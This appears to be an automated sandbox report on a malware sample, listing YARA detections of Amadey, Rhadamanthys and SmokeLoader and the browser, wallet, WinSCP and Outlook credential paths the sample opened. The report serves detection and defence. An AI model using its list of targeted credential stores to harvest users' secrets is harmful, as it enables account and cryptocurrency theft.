Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\246122658369 VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\OpenWith.exe

Code function: 13_3_00007DF488BFF83C CreateNamedPipeW,BindIoCompletionCallback,ConnectNamedPipe,

13_3_00007DF488BFF83C

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_0058065A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

24_2_0058065A

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_00566080 DeleteObject,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

24_2_00566080

Source: C:\Users\user\AppData\Local\Temp\F557.exe

Code function: 24_2_005A5DE7 _free,_free,_free,GetTimeZoneInformation,_free,

24_2_005A5DE7

Source: C:\Users\user\Desktop\xwREqjHUEv.exe

0_2_00403532

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: dialer.exe, 00000008.00000002.2179356766.0000000003394000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: tcpview.exe

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 31.0.Utsysc.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.F557.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.0.Utsysc.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.Utsysc.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.F557.exe.560000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2780370976.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2747569546.000000000B660000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000000.2750807460.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.2743120667.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2784341103.00000000005F1000.00000020.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\F557.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000023.00000003.2810520451.00000000031B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2809730416.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2986526967.0000000005095000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2222138286.0000024ABA9F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2775779398.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2105828144.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2511978999.0000024ABABF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2179795455.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3073347750.0000022CBCA81000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3026163870.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2109261264.0000000003610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 22.2.gfiecjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003ad060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.gfiecjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003bd080.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.0.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003b4af0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538928588.0000000000521000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2538295136.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2790746450.0000000001EB1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\gfiecjd, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe, type: DROPPED

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Bitcoin\Bitcoin-Qt
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration\Security

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\031db23f-f53a-4d6b-b429-cd0302ef56d3
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\3e445a25-c088-46bb-968a-82532b92e486
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\6490c938-fe3f-48ae-bc5e-e1986298f7c1
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\safebrowsing
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\a5f61848-f128-4a80-965b-a3000feed295
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\startupCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\settings\main
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\trash4675
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\settings\main\ms-language-packs\browser\newtab
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\safebrowsing\google4
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\entries
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\58ef9818-5ea1-49a0-b5b0-9338401a7943
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\thumbnails
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cache2\doomed
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\yiaxs5ej.default
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\15702f96-fbc1-4934-99bf-a9a7406c1be7
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\settings\main\ms-language-packs\browser
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\v6zchhhv.default-release\settings\main\ms-language-packs
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\System32\OpenWith.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 00000023.00000003.2810520451.00000000031B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2809730416.00000000031C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2986526967.0000000005095000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2222138286.0000024ABA9F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2775779398.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2105828144.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2511978999.0000024ABABF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2179795455.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000003.3073347750.0000022CBCA81000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3026163870.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2109261264.0000000003610000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 22.2.gfiecjd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.AppLaunch.exe.1ff003ad060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.D4C0.vmt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.gfiecjd.400000.0.unpack, type: UNPACKEDPE
